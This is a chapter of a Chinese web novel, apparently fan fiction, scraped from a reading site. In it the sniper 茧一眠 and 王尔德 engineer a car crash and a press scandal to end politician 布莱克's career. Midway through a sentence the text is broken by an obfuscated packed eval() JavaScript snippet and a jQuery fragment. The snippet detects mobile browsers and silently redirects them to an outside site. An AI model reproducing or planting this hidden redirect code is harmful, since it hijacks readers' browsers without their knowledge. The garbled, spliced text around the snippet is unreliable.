默认冷灰
24号文字
方正启体

26.第 26 章

作者:安西教练本书字数:K更新时间:
    茧一眠藏身于一堆枯草之中,鼻子因为草屑的刺激而发痒。


    这不是他想象的暗杀任务啊啊。


    他想穿着熨得笔挺的燕尾服,在灯火通明的大厅里,举着香槟,和那些衣冠楚楚的绅士淑女谈笑风生——


    现实是,他趴在一堆冰冷潮湿的草里,像极了童话中的卖火柴小女孩,透过短暂燃起的火柴,短暂窥见他人的欢乐与幸福。


    从这个位置远远望去,宴会大厅像一座金色的孤岛,漂浮在一片深蓝中。那里的一切都泛着奢靡的光泽。人影在玻璃窗后晃动,化作模糊的色块,如同一场失焦的默片。


    可恶啊,地球上为什么不能多一个叫茧一眠的成功人士呢。


    他调整瞄准镜,世界在镜片下瞬间清晰。


    镜头里,香槟塔层叠而上,男人们西装革履,女人们珠光宝气。茧一眠在人群中找到了乔装后的王尔德,此刻他正和几位女士攀谈。


    茧一眠忍不住多看了几眼。


    王尔德本身就是个贵族,在这种场合游刃有余。其实,他的异能者身份是保密的,完全可以以真面目出席。但他却坚持要乔装改扮,因为他认为这种政治宴会“蠢得令人发指”,不愿意将自己的名字与之相连。


    王尔德的声音突然在耳机里响起,“你看什么呢?专心盯着目标。”


    茧一眠一惊:“你怎么知道我在看你?”


    耳机里传来王尔德带着笑意的气音:“我不知道,但现在我知道了。”


    意识到自己上当了的茧一眠:“……王尔德先生,请认真工作。”


    “这话应该送给你才对,偷看人还不肯承认的狙击手先生。”


    就在这时,宴会厅的主门打开,阿拉伯大使团入场。布莱克议员正在这群人中心,脸上的笑容谄媚得几乎扭曲。他正试图从阿拉伯方面拉拢投资,这也是他今晚出席的主要目的。


    茧一眠立刻回到专业状态,“目标出现,西北角,蓝条纹领带,正在和那个戴白色头巾的高个子说话。”


    王尔德:“收到。”


    王尔德向一名阿拉伯人举杯致意,自然而然地加入了他们的谈话圈。当话题转向某个投资风险时,王尔德刻意提及布莱克的名字,暗讽了几句他的政治立场。布莱克几乎是跳着过来辩解,而王尔德则不动声色地递上一杯又一杯烈酒,如同给猎物喂毒的蜘蛛。


    茧一眠暗自赞叹,这社交手段简直如顺水推舟般自然。他完全做不来,还是老老实实打狙吧。


    按照情报,这位酒鬼大臣每次参加宴会都会喝到不省人事,今晚也不例外。而王尔德早已安排让布莱克的司机“临时有事”离开。


    事情的发展正如预期。两小时后,已经醉得东倒西歪的布莱克坚持要自己开车回家,无视其他人的劝阻,一个权力膨胀的男人,又被酒精麻痹了理智,谁还能阻止他呢?


    确认王尔德安全撤离后,茧一眠收起装备,移动到预定的伏击点。


    布莱克回家的路线固定,必经一段僻静的乡间公路。那里有个急转弯,便是他的最佳的伏击点。


    几分钟后,茧一眠在新位置架好了枪。他看着远处的弯道,将普通的子弹赋予了延迟性分解的特性。布莱克的车一旦中弹,轮胎会在分子层面上崩溃。


    远处传来引擎的轰鸣,两束车灯划破夜色。茧一眠瞄准了急转弯处。


    扣动扳机的刹那,子弹旋转着离开枪管。


    他的异能随着子弹一同前行,精确地锁定了轮胎外侧一个指甲盖大的区域。子弹穿透橡胶表面的瞬间,无形的分解力场向四周扩散。


    轮胎并非爆裂,而是那一小块区域仿佛从未存在过——橡胶、钢丝网、甚至子弹本身,全都被彻底分解。破损处边缘光滑如同被精密仪器切割,却又不具备任何人工制造的特征。


    布莱克的车失去控制,在惯性的作用下冲出弯道,狠狠撞上路边一辆印有[危险化学品]标志的货车——那是钟塔侍从精心布置的道具,里面装的液体看似危险,实则无害。


    布莱克的安全气囊弹开,救了这个醉鬼一命。他摇摇晃晃地从车里爬出来,满脸茫然和恐惧。液体从撞坏的货车中流出,在地上形成一片刺眼的荧光色泽。


    就在这时,早已埋伏在附近的记者们一拥而上,闪光灯亮起,照亮了整个事故现场,而布莱克议员则是今晚最狼狈的主角。


    “目标如预期发生事故,媒体已到场,警车大约十分钟后到来。”茧一眠通过通讯器向艾米莉汇报。


    艾米莉的声音传来,“可以,你先撤离吧。”


    茧一眠收拾好装备,悄然融入黑暗。布莱克的声明,警方的调查,媒体的猜测,一切都将在明天的晨光中展开,但这些已与他无关。


    ——


    茧一眠来到和王尔德约好的地点。


    一辆普通的黑色轿车静静停在那里。他轻轻敲了敲车窗,玻璃缓缓降下,露出一张有些陌生的脸。


    虽然假发和美瞳已经被摘下,王尔德的面容上的伪装却依然在,仿佛一个完全不同的人戴着王尔德的眼睛在看他。


    “过来,你坐这儿开车。”


    他像猫一样灵活地横跨过中控台,滑到了副驾驶位置上。


    茧一眠坐进驾驶座后,王尔德从手套箱里拿出一个小巧的黑色化妆包,取出一包卸妆湿巾,“开稳一点,我要卸妆。”


    “好。”茧一眠特意找了条平整的路,控制着车速保持在一个恒定值上。


    透过后视镜,茧一眠不时瞥见副驾驶上的景象。


    王尔德像是在进行一场外科手术,一层层剥离脸上的伪装。先是额头和眉骨附近的凸起物被揭下,接着是贴在颧骨上的硅胶填充物。


    湿巾一张接一张变脏,而王尔德本来的面容则像是从泥塑中慢慢浮现的雕像,逐渐清晰。


    茧一眠内心惊叹,这化妆技术堪称邪术。


    王尔德注意到茧一眠的视线,侧身避了避,“看路,不许看我。”


    茧一眠收回目光,专注于前方的道路。


    但好奇心还是让他开口:“化妆真的太神奇了,像是某种异能一样唉,一个人能变成完全不同的样子。”


    王尔德正在处理一块特别顽固的假体,卡在鼻梁上不肯下来,听到茧一眠的话,他哼了一声:“确实很方便,特别是对经常需要伪装身份的人来说。钟塔侍从里有专门的化妆课程。”


    “钟塔侍从还教这个?”


    “当然,伪装术是一门技巧,技巧需要有人传授方法。”


    “教练,我想学化妆。”


    “……你要我教你?”


    ……


    两人回到庄园时,王尔德已经完全变回了光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15137418|163022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    彩照人的模样。


    “明天还有工作要做。早点休息吧。”


    茧一眠点点头,肾上腺素退去后,疲劳感确实如潮水般涌来。


    他对王尔德说了句晚安,随后转身上楼。


    ——


    次日,茧一眠一踏进钟塔大楼就感觉到了异常。


    平日里沉闷安静的大厅此刻人声鼎沸,各个部门的工作人员三五成群地聚在一起,窃窃私语,不时爆发出压抑的笑声。


    茧一眠从自助咖啡机接了一杯黑咖啡,来到暗杀组办公室。艾米莉正坐在桌前,面色阴沉如水。


    “怎么了?任务有问题吗?”茧一眠小心翼翼地问。


    艾米莉叹了口气,把一份今日的泰晤士报推到他面前。头版是一张特写照片,标题醒目地写着:《深夜酒驾:布莱克议员的丑闻与谎言》。


    看着没什么问题啊,茧一眠松了口气:“这不是我们想要的效果吗?”


    “往下看。”艾米莉说道。


    茧一眠翻开第二版,差点把刚喝的咖啡喷出来——《法国政坛解放门:伏尔泰痛斥卢梭双重标准引发连环爆料》。


    版面中央是一张极具冲击力的照片——伏尔泰和卢梭几乎面贴面地对峙。照片像是在混乱中抓拍的,画面略显倾斜,背景中隐约可见其他宾客惊愕的表情和几位试图上前劝阻的侍者,仿佛下一秒两人就会扭打在一起。


    文章详细报道了伏尔泰如何打断卢梭关于“自然人”的演讲,当众怒斥其为“伪君子”和“道德败坏的骗子”。


    随后更是不顾在场多位女士,详细列举了卢梭与众多前情人的不堪往事,用词之粗鄙,本报不便转载……


    面对如此猛烈的攻击,卢梭并未当场反驳。而是在次日凌晨,通过个人社交账号发布了长达18页的自白书,标题为《关于我的忏悔这件事》。


    卢梭在帖子中肯定了伏尔泰的所有控诉,并承认了更多不堪的过往,包括他年少时的某些荒唐行为……还自暴出自己的一些特殊X癖好——嘶,这后面似乎放不出来。


    茧一眠想到一个不算恰当的比喻,有人说你穿了红内裤,你直接脱下裤子,把内裤甩在他脸上说,“没错,怎么了!我穿得是红内裤,更是红色丁字内裤!”


    艾米莉面带寒意:“前两版本该都是布莱克的丑闻,但现在他只占了一个版面,而且人们的注意力已经完全被卢梭和伏尔泰这出法国闹剧抢走了。”


    茧一眠:“那……我还需要做什么后续处理吗?”


    艾米莉揉了揉太阳穴,“暂时不用。警方已经以酒驾和危害公共安全的罪名逮捕了布莱克。本来想着直接摧毁他的政治生涯,现在看来还需要给他封个爵位。”


    茧一眠困惑不已,“他在监狱里还能升职啊?”


    艾米莉解释:“是被判刑,但不会执行。而且这不是升职,封爵意味着他将失去竞选下议院的资格,永远与内阁和首相之位无缘。”


    他将成为无权无势的吉祥物,眼睁睁看着昔日同僚飞黄腾达——对一个有野心的政客来说,这足够可怕的惩罚,但是对于一个普通人来说,他受到舆论谴责和报应远远不够。


    但这已经是钟塔侍从能做到极限了。


    茧一眠似懂非懂地点点头。


    虽然时机不够完美,但他的入部考核已经顺利完成。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)